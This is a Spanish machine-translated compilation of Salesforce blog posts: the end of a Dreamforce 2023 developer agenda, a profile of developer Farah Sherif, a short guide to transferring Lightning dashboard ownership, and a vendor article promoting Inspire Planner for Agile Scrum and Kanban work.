Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!

📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.

📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

Obtenga aún más contenido de Dreamforce 2023 en Salesforce+

¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.

Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Regístrese para asistir a Dreamforce si aún no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
  5. Conéctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, asegúrese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener más actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Categorías
Desarrollo en Salesforce

Farah Sherif comparte el secreto del éxito de los desarrolladores: aprendizaje permanente ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Farah Sherif comparte el secreto del éxito de los desarrolladores: aprendizaje permanente | Blog de desarrolladores de Salesforce

Si la desarrolladora de Salesforce, Farah Sherif , pudiera comenzar su carrera nuevamente, comenzaría a aprender Salesforce antes. No esperaba dedicarse a la codificación para ganarse la vida, pero pronto descubrió que era la carrera adecuada para ella. “Solía pensar que la codificación era realmente complicada”, dice Farah, “pero Salesforce y Trailhead lo hicieron fácil. Además, con suficiente dedicación, puedes aprender cualquier cosa en Salesforce”.

Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades más demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de currículum y conectarse con oportunidades globales. Hoy, más de 18 millones de Trailblazers están aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.

Solía pensar que la codificación era realmente complicada, pero Salesforce y Trailhead lo hicieron fácil.

Farah conoció Salesforce gracias a su primo, que es miembro del Salón de la fama de MVP de Salesforce , allá por 2018. Él le envió un par de módulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganchó de inmediato.

En la actualidad, la carrera de Farah es próspera y actualmente es desarrolladora sénior de Salesforce para Oloop Technology Solutions , una firma de consultoría de tecnología empresarial con sede en Aurora, IL. Ella también se ha convertido en MVP de Salesforce.

Pasión por aprender y desarrollar habilidades en Trailhead

Trailhead ha sido el entorno de aprendizaje de Farah desde el primer día, y desde entonces ha superado cientos de unidades y módulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .

Farah también ha mejorado su currículum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificación, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendió en su certificación".

A pesar de todos sus logros, Farah continúa usando Trailhead como su fuente principal para aprender nuevas habilidades. “Aunque hay varios recursos disponibles”, dice, “primero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de práctica han sido realmente útiles”.

Aunque hay varios recursos disponibles, primero empiezo con Trailhead.

Encontrando inspiración en la Galería de muestra de código

Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de código escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de características de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, así como casos de uso como la transformación de páginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el código está escrito por expertos de Salesforce y hay toneladas de ejemplos sobre cómo hacer todo".

La comunicación es una habilidad valiosa para los desarrolladores.

Junto con las habilidades técnicas, Farah ha aprendido que la buena comunicación es vital para el éxito del desarrollador. A medida que avanzaba en su carrera, Farah llegó a creer que los desarrolladores no se sientan detrás de una computadora y programan todo el día. Los desarrolladores deben poder comunicarse bien con los demás para realizar su trabajo o mostrar su solución. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una solución alternativa o incluso explicar un enfoque técnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.

“No lo aprendí en un día”, dice Farah, “pero he recorrido un largo camino desde la primera vez que hablé con un cliente. Las habilidades de comunicación también ayudan cuando escuchas conversaciones porque entonces estás aprendiendo cómo tratar con las personas y cómo manejar a los clientes”. (Consejo: consulte elmódulo Narración y comunicación en Trailhead para mejorar sus habilidades).

¿Qué tiene de bueno ser un desarrollador de Salesforce?

Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en sí misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. También se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una solución a prueba de errores".

Buscar ayuda de expertos en la comunidad

La clave del éxito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener información sobre un tema nuevo, lo que beneficia a toda su organización. “Cuando paso tiempo aprendiendo un nuevo producto o una nueva función de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema más adelante cuando tengamos que usarlo”.

Farah también recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a líderes de opinión como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son increíblemente útiles, y cuando sé que cuando contacte a alguien, realmente querrán ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .

El raro honor de una sudadera con capucha dorada

Farah completó la universidad con un título en Ciencias de la Computación y llevaba unos meses en su nuevo trabajo, esforzándose por demostrar su valía como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenzó a involucrarse más profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.

Después de pasar algunos meses aprendiendo sobre Trailhead”, recuerda Farah, “Solicité dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, conseguí mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conectándome con la gente.

La dedicación de Farah al aprendizaje ya la comunidad no pasó desapercibida. En octubre de 2020, Salesforce le otorgó una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.

“Cuando recibí la sudadera con capucha dorada”, recuerda, “fue un momento increíble del que estaré orgullosa para siempre”. El premio se sintió como una verificación de todos sus esfuerzos. Dos años más tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. “Fue entonces cuando realmente sentí lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por más de 4000 personas”. Comparte más de su perspectiva y experiencia, así como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).

Cuando recibí la sudadera con capucha dorada, fue un momento increíble del que estaré orgulloso para siempre.

Consejos para nuevos desarrolladores de Salesforce: ¡No dejes de aprender!

Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al día con las últimas novedades, recomienda consultar las notas de la versión de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. También sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiración.

Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los días. Ella dice: “No dejas de aprender solo cuando tienes X número de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un hábito, realmente vale la pena”.

Para conocer a desarrolladores como Farah y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de múltiples premios, cree en la tecnología, la comunidad y la igualdad.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Categorías
Desarrollo en Salesforce

Cambiar la propiedad de Lightning Dashboards

Última actualización el 14 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se puede transferir la propiedad de Lightning Dashboards en Salesforce?

Objetivos:

Después de leer este blog, podrá:

  • Transferir la propiedad de los tableros Lightning
  • y mucho más

Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC), fue contactada por el director de ventas Eric Brown. Le pidió que cambiara el propietario de Opportunity Pipeline de 'Sarika Gupta' a 'Rakesh Gupta'.

Enfoque de Campeón de Automatización (I-do):

Después del lanzamiento de Winter'24 , ahora es posible actualizar los tableros Lightning transfiriendo la propiedad del tablero cuando cambian las responsabilidades o el creador del tablero deja su organización. El nuevo propietario tiene control total sobre el contenido del tablero. Anteriormente, tenía que clonar o volver a crear el tablero cuando el creador pasó a otras responsabilidades.

Para iniciar la transferencia de la propiedad del tablero, el usuario debe tener lo siguiente:

  • Ver todos los datos o Ver el panel de control de mi equipo
  • Ver todos los datos le permite cambiar el propietario a cualquier persona de su organización
  • Ver los paneles de mi equipo le permite cambiar el propietario de y a cualquier persona que aparezca en la jerarquía de roles de su equipo.
  • Edite o administre el acceso a la carpeta que contiene el tablero. Al nuevo propietario se le concede acceso de edición a la carpeta del panel.
  • El nuevo propietario debe tener acceso para editar el tablero transferido.

Siga los pasos a continuación para transferir la propiedad del panel Lightning:

Paso 1: Habilite Permitir que los usuarios cambien la configuración del propietario del tablero (solo Lightning Experience)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, ingrese Configuración de informes y tableros y luego seleccione Configuración de informes y tableros .
  3. Seleccione Permitir que los usuarios cambien el propietario del tablero (solo Lightning Experience) .
  4. Haga clic en Guardar .

Paso 1: cambiar el propietario del panel Lightning

  1. Vaya a la pestaña Paneles .
  2. Abra el panel Canal de oportunidades .
  3. Seleccione Cambiar propietario .
  4. Seleccione un nuevo propietario, es decir, Rakesh Gupta en este escenario.
  5. Haga clic en Guardar .

Prueba de concepto

La propiedad de la cartera de oportunidades se transfirió con éxito a Rakesh Gupta.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Categorías
Desarrollo en Salesforce

Incorporación de Agile en Salesforce DevOps – Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.

Melé

Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
  • Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Análisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
– No es tan flexible para cambiar a mitad del sprint.
– Requiere un alto nivel de disciplina y comprensión de los principios de Scrum.
– Puede que no sea tan efectivo para tareas complejas e interdependientes.
– Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella.
– La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer límites de trabajo en curso (WIP) : defina cuántas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los límites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los límites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores prácticas para integrar metodologías ágiles en Salesforce DevOps

Las siguientes prácticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educación

    Asegúrese de que los miembros de su equipo comprendan los principios Agile y las prácticas de Scrum o Kanban en función de la metodología elegida. Invierta en cursos de capacitación, talleres y recursos relevantes.

  • Empieza pequeño

    Comience con un proyecto pequeño que no tenga mucho en juego. Esto permitirá que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presión.

  • Seleccione un marco ágil adecuado

    Elija Scrum o Kanban según los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboración, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas ágiles de gestión de proyectos

    Utilice herramientas diseñadas específicamente para prácticas ágiles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transición. Si su organización utiliza Salesforce, idealmente debería buscar una herramienta de gestión de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicación abierta, la retroalimentación frecuente y la colaboración activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que también pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea rápido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones periódicas de preparación del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Esté preparado para incorporar cambios en el próximo sprint (en Scrum) o cuando el límite WIP lo permita (en Kanban).
  • Realice retrospectivas : después de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qué funcionó bien, qué no y cómo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que están específicamente diseñadas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente útil si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta ágil de gestión de proyectos para SalesforceInspire Planner: herramienta ágil de gestión de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporación de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementación y ejecución sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensión clara de los principios y prácticas involucrados. Es vital asegurarse de que su equipo reciba la capacitación adecuada antes de la implementación.
  • Descuidar la comunicación : la comunicación regular y clara es crucial en las metodologías ágiles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer más trabajo en menos tiempo. Se trata de administrar el trabajo de manera más efectiva. Asegúrese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el límite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar rápidamente, los equipos pueden comprometer la calidad. Incorpore prácticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas periódicas para identificar y abordar áreas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodologías ágiles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodologías sean menos efectivas. Supere esto a través de capacitación, comunicación abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transición.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusión e ineficiencia. Busque una aplicación de gestión de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporación y formación.
  • Falta de participación de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodologías ágiles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodologías ágiles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarrolló Jira como una herramienta versátil compatible con Scrum, Kanban y metodologías mixtas. Sus sólidas funciones incluyen la priorización de tareas pendientes, la planificación de sprints, los gráficos de avance y reducción, los flujos de trabajo personalizados y más. Sin embargo, para integrar Jira con Salesforce, deberá configurar una solución de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicación de gestión de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodologías Scrum y Kanban listas para usar. Inspire Planner tiene más de 130 reseñas de 5 estrellas en AppExchange e incluye todas las funciones estándar, como trabajos pendientes, sprints, puntos de la historia, gráficos de trabajo pendiente y más.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integración perfecta con Salesforce, sino que también le permite personalizar completamente la aplicación para agilizar su proceso de gestión de proyectos.

¿Y si necesita la gestión de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner también ofrece funciones avanzadas de gestión de proyectos para esta metodología, incluido un gráfico de Gantt interactivo, gestión de recursos, seguimiento del tiempo, carteras, gestión de riesgos, líneas base, dependencias de tareas avanzadas, ruta crítica, uso compartido externo, gestión de restricciones, automatización. , y mucho más.

Trello

Trello es un sistema fácil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

